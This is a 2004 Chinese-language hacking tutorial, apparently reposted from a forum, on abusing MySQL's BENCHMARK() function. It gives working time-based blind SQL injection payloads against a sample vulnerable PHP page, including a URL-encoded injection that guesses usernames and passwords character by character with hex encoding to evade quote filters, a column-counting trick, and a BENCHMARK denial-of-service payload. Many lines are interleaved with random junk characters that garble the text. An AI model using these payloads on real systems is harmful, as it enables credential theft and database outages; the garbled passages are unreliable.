MYSQL中BENCHMARK函数的利用
8 I- L- ^. O" ^4 m! u3 C3 G. l5 |6 K本文作者:SuperHei" D$ _* X L/ Y4 V) j0 O
文章性质:原创
/ \' P ?1 g* L, q发布日期:2005-01-021 v: c! w1 D4 ~* l& ?
完成日期:2004-07-09
5 G9 s: O3 N. a8 Y第一部
, A [- z/ p& \4 `" Z3 C+ _% Y) }! S9 `; Z+ L6 K
利用时间推延进行注射---BENCHMARK函数在注射中的利用
& ?3 m# A8 z( e- t `& i0 l; H ]- o. B' U5 c1 v6 D
一.前言/思路. h/ b t, F% C8 M! ]4 z! ]" l0 @. `
! y: h, b7 L; z7 A 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
9 k+ Z7 U+ n x' k: s% i5 @4 K# e! t2 T+ I6 E
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
, j5 y' ?: X) q$ N3 f1 G. p9 d+ o: a6 i# \' z% X
二.关于BENCHMARK函数
8 Z7 m3 ~ T4 d3 X3 [' T( J8 W: {: D+ L' ~6 t
在MySQL参考手册里可以看到如下描叙: * X' Q1 W# ]$ @0 r2 f" U) w
9 u6 B* n' f4 Z
% \! U+ N7 e% d8 m
--------------------------------------------------------------------------------3 O% @' v$ A, x2 p* @3 `
# n' o8 {2 h' |" o1 M/ k
BENCHMARK(count,expr) ' k, m5 D8 `( J% n! R$ ~/ n( W
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
: o3 H7 m; u9 [: B) D* omysql> select BENCHMARK(1000000,encode("hello","goodbye")); 7 A$ _- U) F+ A5 `! Z9 h6 F
+----------------------------------------------+
7 u( p( U4 \! M6 Z4 @| BENCHMARK(1000000,encode("hello","goodbye")) |
! O6 n$ J e' Y+----------------------------------------------+
- W8 q/ l$ A0 E0 {" P9 F6 ^( e2 }! U5 v| 0 |
' O4 a8 c/ w$ l& o2 ~! O+----------------------------------------------+ ' _; R7 s! z9 ~
1 row in set (4.74 sec) & a# F) Y: X6 x/ R2 r
% y7 B- Z# \! @9 r" z1 V/ K( n6 |
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
6 L& A0 s* l# ?( P- f/ {0 ^! E2 d3 Z# O# i7 m! [
0 l+ p5 I) `8 w c--------------------------------------------------------------------------------
& M" l' v( d- `$ {* N, m$ P& K! E% J# S
/ i/ S$ n0 P* p. @. y 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
# C- i5 C; D* n) y% r9 A. n0 z+ u1 L" D0 E) x3 f3 g7 e, O
mysql> select md5( 'test' ); ' b2 v* P+ o: j' y! P8 j
+----------------------------------+
/ b. Q% _+ U# T$ M/ P) f| md5( 'test' ) |
n9 ?; D2 ?2 g7 M+----------------------------------+ 3 B) i# J% \# N
| 098f6bcd4621d373cade4e832627b4f6 |
9 f- f3 ?; O2 g- J8 c# g( e( d \& b+----------------------------------+ # L ]# C1 `4 V5 i2 f7 F
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
7 ?+ J: z" b% f4 g* S! r! p1 |8 R- v3 V
mysql> select benchmark( 500000, md5( 'test' ) );
( _' u+ }0 w- y' X+------------------------------------+ 0 X+ `4 v5 }) X5 i# r
| benchmark( 500000, md5( 'test' ) ) | : ]. r+ n% _- p; F1 H! L
+------------------------------------+ ) L% k( A' c) f) s: W
| 0 |
" z$ a/ Y9 [! b9 ?+------------------------------------+
# m4 Q# G7 v' a2 ^0 U1 row in set (6.55 sec) 〈------------执行时间为6.55 sec2 I4 m* M$ y6 i+ s. l: n4 S0 i
+ Y* o$ i6 `! B" N
9 D4 n7 n1 u2 b0 @# Q3 {+ t
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
8 X* H; V ~* [' `" g& L- x& l$ }, u5 V
三.具体例子: v X: A7 z8 Z$ [/ O; l8 y
i& C! K! K$ M5 {3 z1 o
首先我们看个简单的php代码:
9 G, F) Z: D6 ^# ]- F
0 x- {5 @ {6 W4 T: i. Z; W& E< ?php , F/ D9 q/ ^) M0 V
$servername = "localhost"; ^0 g7 p, B3 Y+ V+ q8 Y* R
$dbusername = "root"; 3 r- @, m9 I7 S! V& R; T
$dbpassword = "";
2 b0 k; J7 ? ^' D$dbname = "injection"; . r, N# v) b( `4 d
0 B" H4 ^8 @2 b* R8 q2 Emysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
# D% l5 I4 Q/ \- b; Y7 \- l
7 N, j$ F! i( O$sql = "SELECT * FROM article WHERE articleid=$id";
- k( L& u/ L' n% M0 C4 j1 w$result = mysql_db_query($dbname,$sql); 1 k# M" ~! X$ ?+ l
$row = mysql_fetch_array($result);
# v" ~8 ~3 w% X+ R3 s0 u" S" [( r' k7 ]' F3 l3 o2 [! }) Q5 b
if (!$row)
% s+ K- B4 T: ?* ?; H# r3 E, ]{ 1 @3 Z* Z, _7 c% M! T! j0 Q- @
exit; ! N( I- y5 S( Z4 \
}
$ R& ~9 L) l1 @* _9 f9 Q?>
3 d' @' J$ X- _# _' W: X" A0 K % f# |; ?2 }' b1 A6 @
+ w0 E5 H8 D# U# W; V2 Y6 [ 数据库injection结构和内容如下:
8 ~3 ^! [3 L; F8 X, d o: G
. r6 K( S8 t8 d. s. @# 数据库 : `injection`
4 H* }: k" ~- V# - y& b7 b; \1 n' V
. F6 y3 J, O: a1 h. T+ T
# -------------------------------------------------------- 0 y* w1 l: D: g# e* J$ \2 U* [
' L. {+ q& U. b- m' z, J8 n* F
# 5 ~, u/ N0 @) G
# 表的结构 `article` 6 q( M; }2 D2 Y; U5 A4 W
# 1 n4 w/ \) @3 N' P
3 L( U& R# w( _& z( L7 ~" ACREATE TABLE `article` ( # B! h( y3 b; I) a& L% |0 A* S9 a
`articleid` int(11) NOT NULL auto_increment, $ S8 c0 `& W v3 v
`title` varchar(100) NOT NULL default '', 9 L: x+ g+ {% t( ^& e- m" A
`content` text NOT NULL,
( m/ \, y- }- }7 \* n/ _' NPRIMARY KEY (`articleid`) " P5 p3 A |* Y; K- L; Y# i
) TYPE=MyISAM AUTO_INCREMENT=3 ; ! S1 ^4 [1 E- j7 a5 r
) i3 k" v1 f# y0 t: T( j' ]
# - y" q" J! y$ @7 v0 ^% e
# 导出表中的数据 `article`
* z$ O! e% W: c6 l( |& o: |5 X7 \# & n3 P+ l4 B- z/ P- y
9 S# A# h! @/ r3 R( _+ xINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
$ M: y3 N& q% @! sINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 4 J- z# ]% `9 w) l/ t# D! P
9 E+ i8 G0 ?+ y3 h8 x3 F* {2 o
# -------------------------------------------------------- 1 `% u a9 n: Q+ ]5 V
3 ~9 S& Y7 Q! w! i* E0 l
# $ G, Q! {8 z% ^4 T+ D
# 表的结构 `user` " c* X5 \; g/ K( E }9 O& G
#
b% w4 S" o0 F/ |/ A* ~
2 o$ x' G; H2 SCREATE TABLE `user` ( 9 P& O0 @/ n9 `- y% f z0 Y" i
`userid` int(11) NOT NULL auto_increment, 3 ~. c8 H; o" R; R9 I
`username` varchar(20) NOT NULL default '',
2 N/ }- k2 O' T; n`password` varchar(20) NOT NULL default '', / x$ N. d: O4 `% P! t# h/ V
PRIMARY KEY (`userid`)
: N( [' \, V1 E1 L) TYPE=MyISAM AUTO_INCREMENT=3 ;
$ N0 v0 \, c6 S% e( e- b2 n c* k+ U& f* N
#
$ z5 V! \" E2 @2 Q# 导出表中的数据 `user`
0 m4 `! i$ p: o8 C# % x' _6 D7 u f* m: U
1 k0 m! a0 \2 [4 X5 e" oINSERT INTO `user` VALUES (1, 'angel', 'mypass'); ' d% ~* d, k/ D2 s V# n* w
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');% M2 K. k: {/ i4 o
6 H' J# E/ X: J3 L8 Y, A1 [$ D h" W
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:6 ^4 q# I( `+ |
9 B- @ R2 x8 aid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
7 a! T- R/ L# F- t ) q# G1 T: r/ d% j
# G6 w: Y" l, d; L
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
4 p5 |8 H6 G3 c( Y- O: m8 z: D8 U: v4 F6 a1 y; i4 X i1 p& f6 s
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
$ a* _0 |9 ~+ I% ?) q' }) K & e# ~. v7 x, \$ Y/ g3 n5 o3 ]
7 h4 _* w, k* S. i3 ]( K
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 ) @2 M8 q2 U9 m# y$ ?$ t" j$ V+ M% j
- w& j+ z0 \' _4 F 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 ' P* w) g) K. M8 y' X' A
- r: o( o6 A+ j5 s' y1 `3 L: N
第二部 d6 n( |7 z. _+ C5 i/ b
# h+ O2 e- @8 {' O- d利用BENCHMARK函数进行ddos攻击
' p# b' i s2 O& K5 O' G
4 O1 Y, Y* O" ]9 \( T 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
* y3 U6 t( w" p s& O6 i6 f! C$ |3 M
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))- x& F" z: A8 ?$ S5 `$ i. B
* E8 r! z& F* j7 L8 }/ Q! V; a/ Q" q( g" W( v/ ?6 t7 L8 ?4 W
小结
" L- a; U. o9 ?( _. H) Q
9 M/ h. u3 R; H" \) g 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。8 S; p8 d4 D- M- e
! Y8 M3 A7 w3 d! t5 Z* U" z$ E
# s4 {, E( q: I0 r1 g* z) {3 I
|